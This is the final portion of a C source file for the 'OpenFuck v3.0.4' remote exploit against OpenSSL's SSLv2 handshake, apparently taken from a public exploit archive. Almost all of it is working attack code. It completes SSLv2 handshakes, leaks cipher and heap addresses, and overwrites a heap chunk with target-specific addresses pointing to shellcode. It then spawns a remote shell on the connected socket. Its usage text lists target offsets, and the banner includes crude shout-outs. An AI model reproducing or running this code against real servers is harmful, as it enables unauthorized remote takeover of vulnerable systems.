 ssl->write_key = &(ssl->key_material[RC4_KEY_LENGTH]);
 ssl->rc4_write_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
 RC4_set_key(ssl->rc4_write_key, RC4_KEY_LENGTH, ssl->write_key);
}
void get_server_verify(ssl_conn* ssl)
{
 unsigned char buf[BUFSIZE];
 int len;
 if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {
  printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));
  exit(1);
 }
 if (len != 1 + CHALLENGE_LENGTH) {
  printf("get server verify: Malformed packet size\n");
  exit(1);
 }
 if (buf[0] != SSL2_MT_SERVER_VERIFY) {
  printf("get server verify: Expected SSL2 MT SERVER VERIFY, got %x\n", (int)buf[0]);
  exit(1);
 }
 if (memcmp(ssl->challenge, &buf[1], CHALLENGE_LENGTH)) {
  printf("get server verify: Challenge strings don't match\n");
  exit(1);
 }
}
void send_client_finished(ssl_conn* ssl)
{
 unsigned char buf[BUFSIZE];
 buf[0] = SSL2_MT_CLIENT_FINISHED;
 memcpy(&buf[1], ssl->conn_id, ssl->conn_id_length);
 send_ssl_packet(ssl, buf, 1+ssl->conn_id_length);
}
void get_server_finished(ssl_conn* ssl)
{
 unsigned char buf[BUFSIZE];
 int len;
 int i;
 if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {
  printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));
  exit(1);
 }
 if (buf[0] != SSL2_MT_SERVER_FINISHED) {
  printf("get server finished: Expected SSL2 MT SERVER FINISHED, got %x\n", (int)buf[0]);
  exit(1);
 }

 if (len <= 112 /*17*/) {
  printf("This server is not vulnerable to this attack.\n");
  exit(1);
 }
 cipher = *(int*)&buf[101];
 ciphers = *(int*)&buf[109];
 printf("cipher: 0x%x   ciphers: 0x%x\n", cipher, ciphers);
}
void get_server_error(ssl_conn* ssl)
{
 unsigned char buf[BUFSIZE];
 int len;

 if ((len = read_ssl_packet(ssl, buf, sizeof(buf))) > 0) {
  printf("get server finished: Expected SSL2 MT ERROR, got %x\n", (int)buf[0]);
  exit(1);
 }
}
void usage(char* argv0)
{
 int i;
 printf(": Usage: %s target box [port] [-c N]\n\n", argv0);
 printf("  target - supported box eg: 0x00\n");
 printf("  box - hostname or IP address\n");
 printf("  port - port for ssl connection\n");
 printf("  -c open N connections. (use range 40-50 if u dont know)\n");
 printf("  \n\n");
 printf("  Supported OffSet:\n");

 for (i=0; i<=MAX_ARCH; i++) {
  printf("\t0x%02x - %s\n", i, architectures[i].desc);
 }
 printf("\nFuck to all guys who like use lamah ddos. Read SRC to have no surprise\n");

 exit(1);
}
int main(int argc, char* argv[])
{
 char* host;
 int port = 443;
 int i;
 int arch;
 int N = 0;
 ssl_conn* ssl1;
 ssl_conn* ssl2;

 printf("\n");
 printf("*******************************************************************\n");
 printf("* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *\n");
 printf("*******************************************************************\n");
        printf("* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *\n");
        printf("* #hackarena  irc.brasnet.org                                     *\n");
 printf("* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *\n");
 printf("* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *\n");
 printf("* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *\n");
 printf("*******************************************************************\n");
 printf("\n");
 if ((argc < 3) || (argc > 6))
  usage(argv[0]);
 sscanf(argv[1], "0x%x", &arch);
 if ((arch < 0) || (arch > MAX_ARCH))
  usage(argv[0]);
 host = argv[2];
 if (argc == 4)
  port = atoi(argv[3]);
 else if (argc == 5) {
  if (strcmp(argv[3], "-c"))
   usage(argv[0]);
  N = atoi(argv[4]);
 }
 else if (argc == 6) {
  port = atoi(argv[3]);
  if (strcmp(argv[4], "-c"))
   usage(argv[0]);
  N = atoi(argv[5]);
 }
 srand(0x31337);
 for (i=0; i<N; i++) {
  printf("\rConnection... %d of %d", i+1, N);
  fflush(stdout);
  connect_host(host, port);
  usleep(100000);
 }
 if (N) printf("\n");
 printf("Establishing SSL connection\n");
 ssl1 = ssl_connect_host(host, port);
 ssl2 = ssl_connect_host(host, port);
 send_client_hello(ssl1);
 get_server_hello(ssl1);
 send_client_master_key(ssl1, overwrite_session_id_length, sizeof(overwrite_session_id_length)-1);
 generate_session_keys(ssl1);
 get_server_verify(ssl1);
 send_client_finished(ssl1);
 get_server_finished(ssl1);
 printf("Ready to send shellcode\n");
 port = get_local_port(ssl2->sock);
 overwrite_next_chunk[FINDSCKPORTOFS] = (char) (port & 0xff);
 overwrite_next_chunk[FINDSCKPORTOFS+1] = (char) ((port >> 8) & 0xff);
 *(int*)&overwrite_next_chunk[156] = cipher;
 *(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr - 12;
 *(int*)&overwrite_next_chunk[196] = ciphers + 16; /* shellcode address */
 send_client_hello(ssl2);
 get_server_hello(ssl2);
 send_client_master_key(ssl2, overwrite_next_chunk, sizeof(overwrite_next_chunk)-1);
 generate_session_keys(ssl2);
 get_server_verify(ssl2);
 for (i = 0; i < ssl2->conn_id_length; i++) {
  ssl2->conn_id[i] = (unsigned char) (rand() >> 24);
 }
 send_client_finished(ssl2);
 get_server_error(ssl2);
 printf("Spawning shell...\n");
 sleep(1);
 sh(ssl2->sock);
 close(ssl2->sock);
 close(ssl1->sock);
 return 0;
}
/* spabam: It isn't 0day */ URL: https://www.exploit-db.com/exploits/47080